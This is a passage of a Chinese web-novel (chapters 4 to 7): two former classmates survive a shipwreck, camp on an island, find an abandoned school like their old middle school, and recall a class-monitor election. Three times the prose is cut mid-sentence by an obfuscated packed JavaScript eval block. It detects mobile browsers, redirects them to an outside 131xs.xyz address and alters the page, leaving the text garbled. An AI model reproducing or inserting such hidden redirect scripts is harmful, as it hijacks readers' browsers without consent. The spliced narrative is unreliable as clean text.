海水很冷,雨水很重,她喘不上来气,感觉自己真的要在这种又湿又冷又黑暗的地方死掉了。 在最后的意识里,她感觉有双手始终环在自己腰间,咸涩的海风中飘来一丝苦茶香,很熟悉的香味,是季瑞脖颈间香体膏的气息。 背后是男性坚实的肌肉和宽阔的胸膛,柔软又富有弹性的皮肤,以及抵在她肩头的下颌角。 海面波涛起伏,海水灌进口腔,恐惧感不断攀升,憋气后她的大脑变得一片空白。 可是那股苦茶味就像是要揉进她的皮肤里似的,肢体在冰冷的海水里相互碰撞……他大概是拼了命的要救她出海。 “康妮,抱紧我,我们上岸。” …… 4. 04 手电筒和户外刀 等再次睁开眼时,细沙正随着潮汐钻进她的运动鞋。 康妮撑起身体,右腿上还缠着海藻和不知名生物的触须。 十米开外,已升起火堆,季瑞正在礁石间翻找着什么,卡其色的外套上结满盐霜,沙砾往下唰唰掉。 一堆半截烟蒂在岛面上排兵布阵,像是特殊标记或者一种符号的记录? 康妮强撑开眼皮,手边上就是个滤嘴处印着陌生外文字母的半截烟蒂,她叹了一口气,完全失去力气地重新闭上眼。 季瑞这时候湿淋淋地站起身来,走到她的身后,用了些力气将她拖拽着坐起来,一股甜的发齁的味道压进喉咙,她呛得弯着腰干咳了许多声。 这个味道应该是葡萄糖浆。 季瑞从初一那年起就开始喜欢穿浑身都是口袋的Klattermusen冲锋衣工装裤。衣服里装着EDC(EveryDayCarry)① 口袋里大概是戈博的户外多功能刀具,刀具上安着打火石、片锯、刀鞘、磨刀器和防水户外指南针等附件。以及一些户外应急速食品。 诸葛康妮咳嗽时朝着岛面猛吐了几口海水,漆黑一团的世界天旋地转。 她感觉到自己的两条腿被人搬起来,接着脚踝上的海草海藻被人刀具顺着割断,一点一点地扯下来,最后自己的双脚被轻轻地放下。 他们的身后,密不透风的热带雨林深处,隐约可见遥远的地方侵蚀的铁皮屋顶反光。 沙滩上的赤足印记从丛林处延伸到海边,在潮水的冲刷下依然清晰可辨,最近的足迹边缘还沾着未干的水渍,是季瑞在观察岛上四周的情况。 “我们活下来了。” 康妮终于在火堆前吃下季瑞递给自己的葱油味儿压缩饼干,意识逐渐恢复,清醒了过来。 “算吧。” 他看到岸边标注的破烂不堪的指引牌,上面写着“vanished”②。 虽然他是个货真价实的户外迷,也曾无数次幻想过有一天真的可以体验什么叫做“荒岛求生”,但这样猝不及防地被这场意外的暴风雨裹到了这里。 他也真切地感受到了什么叫绝望和惊悚,什么叫“叶公好龙”。 两人的手机静静地摊放在岛上,两部华为。 据说华为防水、可以拨打卫星电话和卫星短信,但这里有电磁信号遮挡,一切都是徒劳。 康妮拿了其中属于自己的那部手机,说,“对,有手机,有手机可以发求救电话。” 她很不死心地开机,又试了一次,手机电量目前剩余92%,在她发出求救信号之后又跌了两格电,90%。 极度崩溃的情况下,人会苍白无力地松懈下来笑笑。就像她很多次在家里找不到自己的证件和办公室钥匙一样。 “哈哈,手机没有信号,但是可以拍照。” 季瑞站在康妮的身边,正在整理因为浮力被海水一块冲上来的帆船的木板,各种各样不同的板,重量不同,形状各异。 这些船板、帆船残骸被季瑞拿在手里端详,准备搭建成一个小型的简易庇护所。 没有钉子就用卯榫结构,也就是费些力气和时间。 听到康妮说手机没信号,但是看到现在是凌晨4:47,虽然没有信号,但是可以拍照,他哑然失笑。 “对啊,不过为什么突然要拍照?” 康妮撑着腰站起来,脱了鞋,光着脚来到季瑞的身边,将手机设置到了自拍镜头的模式,对着自己和季瑞拍了一张合照。 “遗照。” 除了合影,康妮还拍了自己的单人版“遗像”。 她发丝凌乱,笑得很僵硬,在那里自言自语说,等她的尸体被人发现了,手机也会被人发现,她会在新闻里出名,会是一个在孤岛求生失败但给自己拍了一张绝美遗像的奇女子。 天已经开始有些蒙蒙亮了,康妮这时候看清楚了自己身上的着装。 冲锋衣,冲锋裤,内里真空,而身边正在搭建避雨所的季瑞则穿着一件薄薄的速干小背心和大裤衩。 除此之外,自己的内衣内裤正搭在枯树枝上晾干,鲜红色的文胸挂在那里跟个求救信号似的荡来荡去,也见证着昨晚上岸获救后发生的一切。 她昏过去后感觉湿淋淋的身体慢慢在火堆的烘晒下变得干燥,舒适,梦里好像来到了一个温暖的庇护所。 幸福得叫她以为这一切都只是做了个噩梦。 昨晚雨那么大,那样黑,他应该……看不清她的身体。想到他会替自己卸下文胸的搭扣,脱下里裤,双手抚过她身体的每一寸,包括那些位置。 想着想着绯红就从面颊爬上耳根,眼下和额头都涨红了。 季瑞抬头,看到她脸红,懂了。 他也没多说什么,装作很自然的样子,矜持克制,可是尺寸在脑海里怎么都抹不掉,跟烙下焊印了似的。腻理的肤质滑过手背时也跟静电烫了似的,他也不知道自己怎么鼓起勇气来给她换好的全套衣服。 想着想着,为了缓解尴尬,季瑞将手中的手电筒打到对面那姑娘的脸上。 “啊?你干什么!你是不是有病!” 晃眼的手电筒光线突然打在她的脸上,刺得她眼睛泛晕,紧紧闭上眼,视线里又陷入了一片漆黑。 这让她回忆起当初的夜晚,无数个上数学小课的周六周末,那个漫长的八楼,那个漆黑一片没有任何路灯和楼梯灯的八楼。 她有夜盲症,总是会非常艰难地走下去。 所幸,季瑞会在冲下七楼把她抛下的时候,突然转身,拿手电筒晃她的眼睛,叫她别磨蹭,抓紧时间下楼回家,第二天还得早起参加月考。 季瑞对手电筒有特殊情结,可以说是情有独钟,特别喜欢手电筒。 手电筒。 强光手电筒,光亮、光源、明亮的力量,能够指引康妮在漆黑一片的楼道里找准步伐。 只要带上手电筒,他就能有充分恰当的理由作为异性同学跟在诸葛康妮的身边,任凭她牵住自己衣袖的小小一角。 领着她下去,光源尽在他的掌握。 当然,他也不会故意捣蛋使坏关掉手电筒,他始终很享受康妮依赖他的样子。 平静的、耐心地陪着她走下一节又一节的台阶,然后看着她走过金山东路,消失在灯火通明的淮河大道。 接着他可以将晚上下楼的这五分钟反复咀嚼一夜。 下暴雨了,雨点变得愈发浓重,哗啦啦甩下来。康妮躲进避雨棚里的时候松了一口气,将自己缩成一团,倒是很有安全感。 季瑞真是一个有先见之明的人。 康妮躲在雨棚里,像躲在了一个小小的“家”里。 “古罗马诗人昆图斯·贺拉斯·弗拉库斯说,无论风暴将我带到什么样的岸边,我都将以主人的身份上岸。”她扯了扯季瑞的衣角,说,“我们会上岸的吧,对吧。” 他知道她指的“上岸”是“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812657|175316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 获救”。 “对。”他答。 手机关机保留电量,两个人再度失去了对时间的掌控感,只是大抵知道,一天很快就又过去了,这次雨下的很大,避雨棚的作用微乎其微。 “季瑞,你冷吗?我感觉你在发抖。” “没事,我还好,你冷吗?”他朝着她的位置靠了靠,打火石点燃了刚才那一窝篝火,雨渐渐弱了,火的热传递过来,使人的体温慢慢回升。 但季瑞还是不可遏制地打了几个喷嚏。 诸葛康妮面朝他,并敞开怀抱,她很冷,她只能通过这种“原始”的方式取暖,并对岛上除她之外唯一幸存的男性人类发出邀请。 Jerry不明所以。 “?”。 “抱抱。抱抱就不冷了。” 他十分被动地被她蹭着抱住,下颌角抵住她的脑袋,直到已经紧紧抱住了怀中的人都还没彻底晃过神来,他感觉到自己的胳膊在轻轻颤抖,呼吸也变得急促,大脑一片空白;十四年里,他想过万万次的事就这样轻而易举的发生了。 他是不是还得好好感谢一下这场意外? “好温暖,你的身体。” 这是康妮除了讨厌之外对季瑞的第一个新评价。 “感觉你确实不太冷,你的身体好烫,真的特别烫,会不会是感冒发烧了?但是我很困,我有点想睡觉。” Jerry将她揽住,从背后抱住她,呈包裹的姿态,然后微微向后靠,让康妮平直自然地倒在他坚实的臂弯里。 迷迷蒙蒙之间,她好像听到Jerry又在那里跟她讲过去的故事,这次好像是在说初中上课的时候,他给她做的一个“精美枕头”的故事。 “你晚上偷偷熬夜看小说,第二天早起,想睡觉又不敢睡,硬撑了两节班主任的数学课,终于能在美术课上睡会了。” “那时候,课桌很硬,胳膊怎么摆都睡得不舒服,手脚麻得都动不了。要问我为什么知道,因为我也偷偷在音乐课上睡过觉。” “唔,是的。我经常麻得抬不动腿。”康妮慢悠悠睁开眼,感受到了将自己环抱住的男人身上结实的肌肉,扎实有力,胳膊稍稍抬一抬就能让她的脖子靠得很舒服。 “啊,我想起来了,英语书枕头!” “我拿我的英语书亲手给你做个一个枕头,就是把每一页纸都卷一下,整本书就会变得很蓬松。脸放在上面很柔软。” “还很有弹性呢。”康妮笑笑。 突然笑不出来了。 因为诸葛康妮想到了后面的故事。 两个12岁的小孩当时都被老班叫了家长,那本“经典大软枕头”被“哐嚓”一下甩在办公室的桌上,没憋住笑的人当然是两人之中的季瑞。现在没能憋住笑的也是季瑞。 她身后人的腹部在猛烈地起伏,笑得不可遏制。 困意瞬间没了,两人贴在一起,很快她就感受到Jerry的身体又变得更热了些,诸葛康妮提出如果没有信号的话,留在这里也不是办法。 他们身上携带的食物太少了,脱水。 她指了指依稀能够看得见反光楼顶的前方。 “Bingo,我们想到一块去了。” 季瑞掏出小罐子让诸葛康妮拿着,让她喝点,说是采集的雨水,进行了简单的过滤。 此刻温度适宜,天光大亮,前方是浓密厚重的雨林。 “出发?” “出发!” 5. 05 废弃学校 如果说没有判断错的话,岛上那些有着自己那一套独特排列组合规律的烟蒂大概是不久前有人丢下来的。 新鲜的、没什么风吹雨淋痕迹的,烟蒂前端的白色烟管暴露在外,并不很脏,自习室墙体一般的白。 说不定这里并不是渔夫口中所谓的绝迹岛,只是有块荒诞的牌子上边写了vanished罢了。 莱泽曼多功能急救剪-猛禽,Jerry的EDC,在他手上折叠后翻来荡去,他在思考问题。 他在思考如何能在日落之前安全抵达康妮口中的那个泛着光的铁皮房,大概会是个工厂。 有人的地方就有希望,他们这次或许能很快和当地人取得联系,接着离开这个地方。 此刻Jerry心里唯一的念头,带她出去。 两人朝着东南的方向一路跃进,抵达某个丛草蔓生的小土坡时,Jerry轻轻松松地越了上去,站在高处俯视着她。 “把手给我。” 康妮愣在原地,将将被火烤干的运动鞋在泥泞里向下滑了几步,人都有些重心不稳。 她向后退,手攥成一个小拳头,不知道是别扭还是不好意思。 “又不好意思了?刚才不还主动说要抱我吗?” Jerry强势地将她的手臂一捞,将这姑娘带上来,拍拍她的后背。这个动作叫康妮产生了一股莫名其妙的熟悉感,这种熟悉很另类,就像她自己摸了摸自己。 是她忘了,他以前经常这样做。 太多年以前的事情了,记忆落上一层深厚的灰,但彼此之间的熟悉感仿佛就像有着血缘关系的亲人一般。 之后行进的路上,两人之间配合得越来越默契,抵达终点的心也越来越坚定。她借力攀登而左摇右摆的手,也变成了被人牵住禁锢住的手。 安安心心被握紧在Jerry的宽大温暖又略带粗粝的手掌中。 他带着她走,向上走,朝着希冀的方向前进。 身后的姑娘呼吸声逐渐浓重,他意识到她已经有些体力不支,他捏了捏她的手心,感受到她的手在拉着他向下拽。 “走不动了,我真的走不动了。” 那好吧,那就陪着她找个相对干净点儿的地方顺理成章地坐下来,再将怀里揣着的那半块树莓味压缩饼干敞开来递到她嘴边,看着她塞进嘴里含着,嘴巴像小鱼吐泡泡。 Jerry看向远方,那处铁皮房的屋顶貌似在潮湿浓密的雨林里彻底淹盖。 只看得到密不透风的树丛和被风刮后披落在地的干枯枝丫。 他观察了下四周,看着康妮小小一团的蹲在那里吃饼干,拿枯树枝在地上画圈圈,突然饶有趣味地也蹲到她身边找了两支不算太干枯的树枝,形状非常适合做成一个简易的小弹弓。 接着他三下五除二地用尼龙弹力绳绑起来,一个弹弓支架就搭好了。 “诸葛康妮老师?看到没,那儿有个鸽子。”他单眼紧闭,惯用眼散发出犀利敏锐的光。 随后“啪”的一声,伴随着浅灰鸽被击中瞬间的飞舞挣扎扑棱声,这只肉嘟嘟的肥禽就这样从树上倒挂着掉下来,砸在湿漉漉的草堆里,捏在Jerry手里时还带着温度,暖呼呼的。 太神奇了。 就这么简单,在这个闷热潮湿没有一丁点儿信号的荒郊野外,弹弓只响了一声,晚上的口粮有了着落。 “看到上面那片果子了吗?”Jerry拎着鸽子指了指那棵树。 她顺着他的指引向上看,看到了那片十米来高枝繁叶茂的树干,上面密密麻麻结了许多呈黄色熟状的铃铛状小果子,一对儿一对儿的。 康妮听到季瑞跟个百度百科似的介绍,这种果子叫做“蒲桃”,也可以叫做“铃铛果”。 果子清热解毒、补肺止咳。 咬起来有玫瑰香气,咯嘣脆,带点儿微甜,没熟透会略带酸味。 小姑娘将没吃完的小半块压缩饼干用包装捏起来,咽了咽口水,已经联想到野果在嘴里生津的滋味儿了。 她等着季瑞继续发挥,用他那副“原生态”的弹弓将那些黄彤彤的小铃铛果打下来,然后她就可以小跑过去,蹲在地上将那些胜利果实捡起来,填饱自己的肚子。 谁知道Jerry突然出现在她的身后,莫名其妙地将她固定在原地,按住她。 从背后环绕住她之后,将弹弓架到她的胸前,将她的左手和右手架在弹弓的支架和弹性的牛皮皮筋上,对准那棵野果树。 “你试试?” 季瑞松开手,让康妮自己拿住弹弓。 “不不不,我不会。” 背后的肌肉线条再度贴紧了她的后背,有些滚烫,她下意识地往前站了站,可是季瑞再贴过来端起她的手时,她却不动了,成年后的季瑞和小时候有着迥然不同的身型。 这该怎么形容呢,滚烫结实,沟壑分明的身体,很容易让人想入非非,总之用“安全感”三个字更贴切。 他抓住她的手,瞄准,一个弹射石子儿迸发出去,将最上端的那一小串熟透了的小灯笼果打下来。 "想起来个事儿。康妮。" 她蹲在那,捏着小灯笼果的手松垮垮地垂下来,果实光滑的表皮在手指间来回摩挲。 “怎么会有小孩不会玩弹弓呢?那个时候你不仅不会玩弹弓,不会打水漂,也不会骑自行车。”Jerry自顾自地继续说下去,深深地叹了一口气。 自行车。 提到自行车后她自己也想起来了这件事。 小时候她不会骑自行车,初二的下学期她很勇敢地决定要学自行车,可是由于学业繁忙,晚自习下课的时间往往是将近十点半,她没有力气,也没有时间。 初中的时候她的身体很差,痛经能痛到休克,突发过敏性鼻炎能让她好几个礼拜都晕头转向。 她经常生病,动不动头痛脑热,体质弱,也不爱吃饭。 当她提出想要骑自行车上学的那个早晨,遭到了家里人的强烈反对。 那天她被留堂订正试卷,下学后,她在路上用胳膊肘顶了顶自己身边那位“最讨厌”的同桌,告诉他自己想学自行车。 “你竟然不会骑自行车?”同桌季瑞看上去很惊讶。 “是啊。” “这么想学自行车是为什么?” “不想走路,从家里走到十二中太远了,好辛苦,我想使用交通工具。”她答。 “可是你们家离学校1km都不到。”男同桌不可思议地笑笑。 “你可以教教我吗?”康妮看向他的目光很诚恳,几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812658|175316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎有了些哀求的意思。 可是那时候的小男孩揣摩不出话里的深意。 一件求学自行车的事情,就以为诸葛康妮单纯想学自行车,没把它当成一件特别重要的事儿。 实际上很多年之后,我们才能知道,这是一种萌芽的女性主义,是小鸟对于翱翔的力量的追求。 就像在背着沉重书包的大马路上,康妮看向那些飞驰而过的男孩子,她想的是自己也能骑得比他们更快更潇洒,而不是像蜗牛一样背着一整天的课本、试卷、辅导书,跟在后面慢慢地走,连别人的尾气儿也追不上。 …… “康妮你知道吗?我挺……后悔。” 诸葛康妮很明显能感觉到对面人有了很跌宕的情绪起伏。 “约定学自行车的那天下午放学下了大暴雨,我站在家里看了我那辆自行车好久,想着,好可惜,又学不了了。” “后来这件事拖着拖着就忘了。” “再后来你提了一次要学自行车,我说好,但是再也没学成。” 晴空万里的日子有很多,月考的午后或者星期六的早上,上数学小课那会的夜晚……但是他没能信守承诺,教康妮学自行车。 诸葛康妮看着对面一脸深沉的人,果子的渍汁呛了气管,笑了:“这有什么,我已经学会了。毕业后的第二年,我在国宾馆附近的国大东门校门口扫了一辆共享单车,学会了。” “国大的同学们好热心地告诉我骑车的技巧,没想到那种平时只知道做科研搞学术的同学们那么可爱,那么会说话。” “他们夸我厉害呢!” “肯定骑得不怎么样,因为不是我教的。” 到了绝迹岛这种地方也要和她贫嘴,康妮捏着吃剩的果子捶向身边人,又气鼓鼓的。两个人重新站起来,继续朝着前面走。 这回她甩开季瑞的手,自己走在前面,走着走着又变成她走到了季瑞的后面,季瑞朝她伸出手。 她摇摇头,说自己可以,才不需要他。 他拽过她的手腕,让她自然抓住自己的衣角,落拓不羁的笑。 “搞得像我占你便宜似的。”季瑞说。 铁皮房越来越近了,从一个遥不可及仿若海市蜃楼般的存在,变成了一个近在咫尺越发真实的景象。 直面它,能看到一个空间感越来越大的屋顶。 终于到了。 康妮累得发酸的四肢终于得以松懈,心也沉下来。 此刻,她正在好奇这里会是个怎样的地方。 有没有人? 这里异常僻静,真有个建筑物在这,再小心翼翼地往里走后才发现,这里不止有个正正方方的带着长廊的楼房,楼房的后面还有篮球场和塑胶田径场。 那些建筑物楼面被雨水侵蚀的痕迹很明显,单杠之类的健身器材生了锈。 这里很明显是个废弃学校。 空空荡荡,杳无人烟。 被热带植被包裹着,有着属于横跨上个世纪千禧年的梦核感。 康妮单手拎着那只捆绳子上的鸽子,将鸽子绑在了单杠上吊着,朝着校园的更高处走上去,走到主席台的位置,将整个学校的景象尽收眼底。 这里没有人。 他们今夜得在这个废弃学校驻扎。 6. 06 康妮的数学本 【第三卷:绝迹岛·陵城十二中】 ./ 这里没有人。 不过好在算是有了一个全新的庇护所,最起码在刮风下暴雨的时候能躲起来,留存体力,也能避免着寒生病。 两人很有默契地拎着鸽子,兜着铃铛果来到那幢最大的建筑物里。走进去,一道又一道的回廊,这里曾经就是个很标准的学校。 有长长的走廊,原来的底色大概是那种带着格子纹路教室白。 那些繁茂的热带植被爬上回廊的墙体,覆盖着铺满了地面。 甚至在天花板和小回廊之间形成一道草木藤蔓造就的帘子。 绿意盎然,杂乱无章却充满大自然的生命力。 只不过这里已经是一个废弃的学校了。 再朝右看,一楼那个圆形的小窗被分割成四个角。 圆形的小窗的铁皮上肆意生长出一群倒挂着的枯枝,远远看上去是树木姑娘垂下来的头发。 在往楼上走,是一个标注地很清楚的【男厕所】和【女厕所】的牌子,单数楼层是【男厕所】,双数楼层则是【女厕所】。这里的灯大概都坏了,但是广播的铃声却会在固定的上下课时间,沙哑地叮咚作响。 康妮说:“这里好像十二中啊。” 一旁的Jerry点点头,也这么觉得。他甚至联想到了网络上很火的“梦核流行”。 “你记得那句话吗?你可以回来,但是这里已经没有人了。” “记得。” 诸葛康妮这时候终于意识到自己在害怕什么了。 我们无法逆转时间。 就比如这个和陵城十二中学几乎一模一样构造的废弃学校。 更比如说,她无法回到这趟海上事故的半小时前。 我们无法逆转时间,无法抵抗命运。 一切都像被牵引着向前走一样,她接受命运的安排,从海上获救,来到这个废弃学校。 这个勾起无数回忆的、带着些熟悉的儿时记忆,和对每一次教室沙哑铃声响起时,对时间划过的恐惧感。 这里勾起了她的很多记忆,支离破碎的。 这期间,Jerry堆树枝,从废弃的教务处拿了热水壶,烧了些开水,将肉鸽拔毛从屁股往前串在木枝上,架在火上烤。 他将火堆架在一间教室讲台的位置,康妮从布满植物藤蔓的窗户朝里面看过去,看到了火。 她好奇地扯开枝叶,朝里面看,接着跑进去。 燃起来的火堆在讲台的中央,Jerry人站在火堆旁烤鸽子。 讲台后边的黑板上还被季瑞写着几个大字——“数学烤试”。 他看上去像个混不吝的二流子。 “我说啊,我小时候真想过跑到讲台上把试卷全部点燃。”他蹲在那,烤着鸽子,说着大话。 “是吗。我觉得你十几岁出头的时候才没那个胆子。”她回。 康妮走到讲台上,看到讲台抽屉里存放着两堆已经湿润再风干到拿起来可以当薄脆饼干掰碎的作业本。 她抽取其中一本,惊奇地发现这本作业本的主人竟然和她同名同姓,甚至同岁!这太神奇了。 姓名:诸葛康妮 年级:2012 科目:数学 学号:2012130644 “季瑞你看,我随便抽了一个本子,上面主人的名字竟然和我一模一样?还是12年的,这太诡异了。” 季瑞接过来,也是惊讶得感叹出声。 “嚯。” “所以这是真的吗?季瑞你是真的吗?我是真的吗?这是哪儿,我们在干什么?” Jerry手里烤着鸽子,瞟了一眼地上堆叠的肉鸽内脏和油边,意识倒是比康妮清醒一点。 但他故意笑嘻嘻地说反话吓唬她,“假的,你在做梦,这是梦核的世界,你也是假的,这是梦,我们在做梦,这是个虚构的空间。” 这是真的。 他们被暴风雨卷上了孤岛,这是个废弃学校,他们与外界失去联系,正在积极获救。 随便抽出一本作业本,就是同名同姓同岁的事情他确实解释不了,他愿称之为——“命运的安排”。 康妮听得有些头晕目眩,坐到教室的最后两排去了。 那是她上初中时候的常驻地。 最后两排,通常也就是成绩在班级里面的中下游水平。 季瑞也是一样的。 所以在十几年前陵城十二中,两个人常常不是坐前后排,就是做同桌。 那是她最讨厌的朋友和同桌,现在就坐在她身边,坐在这个废弃学校的某一间带“6”字编号的教室里。 课桌椅上还有些乱七八糟的杂草,两个人坐在这间教室的倒数第二排的中间,成为这个废弃学校教室里的同桌。 教室里空荡荡的,安静得要命,只能听得见火堆燃烧木枝藤条的噼里啪啦声。 Jerry将烤得香喷喷的鸽子腿儿用作业纸包住,递到诸葛康妮的手边,见她不接,心思全在一个类似ps4的小玩具上,鼓捣来鼓捣去的。 “玩儿什么呢?找到什么好宝贝了?”季瑞拿着鸽子肉在她眼前晃了晃。 凑近观察,发现那是一个海洋风的套圈游戏机,从千禧年开始流行的那种纯手动游戏机。 这会拿在诸葛康妮手里显得很滑稽。 这都是以前小孩玩儿的东西,可以说,这么古早的玩具,现在小孩看都不带多看一眼的。 “给我玩玩儿。” 他就要抢她手里的玩具。 这句话和十四年前的某个记忆重叠了,那时候她这个嚣张的同桌也喜欢用余光瞥她,然后顺势抢夺她手上的一切,包括和当年几乎一模一样的,海洋套圈游戏机。 两个人会比谁能更快更准地将圈套在那两个小小的立柱上,二十个环儿,有时候在家一玩儿就是半个小时,课堂上偶尔也能摸个鱼套两个圈。 很解压,这是属于季瑞和康妮童年时期的解压玩具。 “这上面是很理想化的海洋,和真实的海洋非常不一样。”康妮咬了一口鸽子肉,觉得比任何时候吃的食物都要香。她看着放到季瑞手中的海洋套圈游戏机,被按了一下又一下。 “真实的海洋什么样?”季瑞看向她。 “我小时候说过很想去看海。”康妮趴在桌上,嘴里咀嚼着食物,胃部很快暖和了起来。 “后来呢?你做到了。” “海一开始是梦中的蔚蓝色,然后变成了血红色,再然后就是昨天的铅灰色。” 季瑞太懂她了。如果自恋一点来说的话,他觉得自己是这个世界上最懂她的人,他毫不费力地理解了她话里的意思。 蔚蓝色,是心目中理想的、漂亮的、令人心驰神往的南方小孩眼中的海洋;铅灰色是可以令人窒息的、带着死亡的恐惧色彩的暴风雨下的海。 至于血红色,他知道她说的是什么,但他也避讳去提。 “你知道吗?十四年前我从来不敢想……” 季瑞敲了敲桌子。 这种真实的听觉,让她明白此刻不是做梦。 “不敢想什么?” “不敢想会有这么一天。我们会在海上遇难,困在绝迹岛,离死亡这么近。”他最终还是换了一种更加官方的说法。 其实他想说,不敢想能与你重逢。 十四年好漫长,可我觉得明明就在昨天。 沙哑的铃声再度响起,他看了一眼太阳东行的轨迹,应该是下午第三节课的下课铃声。 康妮吃完肉鸽后趴在那里睡觉,他也趴在那里看着她,就像很多年前一样,在余晖下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812659|175316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,盯着她头顶迎光炸毛的发丝。 看她手里攥着的骨头,垫在脸下面的游戏机。 和那个脏兮兮的数学作业本。 姓名,诸葛康妮。 年级,2012。 班级,166班。 …… “放学后要不要吃温州炸鸡啊!!!” “好啊好啊!” “别说了再说我馋得现在都不想学习了,而且等会两节副科被老班占用当数学了,人间炼狱。” 女孩子们在班级兴高采烈地讨论着等会放学要吃什么美食,十二岁的诸葛康妮趴在桌子上,数学试卷被她捏着折进去,将67分的成绩叠进去一个角,防止被班级里其他同学看到。 康妮是个很有自尊心的小孩,但是通常家长和老师会批评她“没有自尊心”,因为她的成绩很差。 成绩差,代表着没有自尊心,因为有自尊心的小孩通常在考了低分之后,被家长骂两句“没有自尊心”“差劲”“猪头脑”,就会突然醒悟,奋起拼搏,变成一个“好”小孩。 而差小孩,会变得越来越差,美其名曰“没有自尊心”,只会瘫成烂泥。 看看她今天发下来这张满分为100分的数学试卷就知道。 这才只是初一而已,她已经跟不上大部队的节奏了。 “康妮,等会竞选班干部,你要不要参与啊。” 前排的女孩子用自己的胳膊肘顶了顶康妮的小臂。 “什么?”康妮趴在那里,双臂下面在偷偷掉眼泪,她强忍着泪水,努力让自己看上去没有那么狼狈。 最终,她调整好了,眼眶还是有点红红的。 同桌季瑞发现了。 “哭什么?考了不及格???”季瑞得意洋洋地展示了下自己考了89分的数学试卷,接着就想要拿康妮的试卷来看。 两人的手扭打在一起,尤其是季瑞,双手被康妮掐得通红,康妮将指甲嵌进他肉里,就是不让他拿自己的试卷。 可是没办法,那家伙太灵活了,还是看到了她的分数。 她“啪”一下按在试卷上,将边角卷回去。 他很大声地说:“及格了不就好嘛!考得挺好啊。” 这句话让诸葛康妮气得半死,拿书砸他,他却将康妮的书全收走装进自己的书包,说是不请他吃温州炸鸡他就不还回来了。 “你是狗啊!” “狗啊,对啊。”季瑞死皮赖脸,讲话倒是温温柔柔的,也不像什么流氓痞子,抬眼间有些书卷气,甚至非常平静地给她递来一瓶希腊酸奶,酸奶瓶底下垫了一张叠得干干净净的餐巾纸。 她赌气不喝,看到前排的女生章穗也接了季瑞的一瓶酸奶,然后身子倒转过来趴在康妮和季瑞的桌子的中间。 “我有预感,老王这回又要搞点什么幺蛾子。”章穗说。 康妮好奇:“什么幺蛾子。” “啧,选班干部啊。老王就喜欢搞一些花里胡哨的东西。”章穗咂舌,酸奶吸管唰一下扎破塑料封皮,抿了一口酸奶后,她又讲,“我只希望等会那两节副科,老王别讲数学试卷,我头疼!” 季瑞突然对前面那女孩子章穗挤眉弄眼,摆摆手推推桌子让她转回去。 因为他看到老王夹着量角器和三角板杀气腾腾地走进教室,目光正盯着章穗的方向看。 教室里闷声闷气闹得跟沸腾的蜂巢似的。 老王靠在166班的门前,门轴发出锈蚀的呻吟,班主任眼风如刀。 五十九张嘴瞬间被缝上隐形的拉链。 老王的气场强得让门外那只聒噪的蝉都不敢震。 世界瞬间安静下来,像盖上了隔音的玻璃罩。 老王想到了一个绝妙的点子,正等着今天在班级里宣布。 安静了良久,他终于开口。 7. 07 选班长 “新学期开学,我们166班预备在接下来两节课里竞选班干部。” 老王推了推眼镜,在黑板上写下“初一年级”166班干部竞选”两行大字,粉笔落字时非常顺滑,和老王平常书写数学定理和方程式一样。 前排座位的女生章穗身体向后靠,偏过头来看着后排的季瑞,眉毛在跳舞,看上去有些预言成功的得意:“我说吧,幺蛾子来了。” “这次选班干部……” 老王讲话的时候沉思了片刻,又清了清嗓子,灌了口浓茶,接着茶盖子很紧实地扭实,大概是想这段话听上去更权威更有信服力。 “选的主要是班长,我们一个礼拜工作日是五天,那么……按照大家民主投票的排序,由高到低,选出五个值日班长。第一名是周一的班长,第二名是周二的班长,以此类推。” 说完这话后的老王推了推眼镜,目光在讲台下的男同学女同学之间扫视了一圈,似乎在看下边学生们的反应。 很显然,小孩们看上去也有些兴奋,叽叽喳喳讨论着老王关于值日班长的安排,是初中生们的身上仍褪散不掉的天真烂漫。 “相当痞了,老王一搞五个班长,哪个班主任有他痞?”小瘦子陆京辉坐在座位上笑得直不起腰,把课桌上的试卷捶得哗啦响。 这时候陆京辉回头,看着趴在那双目无神跟个布偶猫娃娃似的康妮,操着陵城话调侃,“哈哈哈,你个选?” 康妮摇摇头,将整张脸埋进去,视野陷入一片漆黑。 又感觉到蓬松的头顶被人顺了顺毛,应该不是小瘦子陆京辉就是前排的大喇叭女孩儿章穗干的,同学们通常会认为康妮的脑袋好揉,因为又软又顺滑,摸着手感好,小姑娘性格内向也让人摸,因而摸得更爽。 “个怂瓜蛋。” 大概正常同学都能看得出来陆京辉这是在友善地调侃,但是坐在诸葛康妮身边的季瑞却非常看不惯,甚至不爽。 “你要想选你自己选,少多管闲事。”季瑞语气不善。 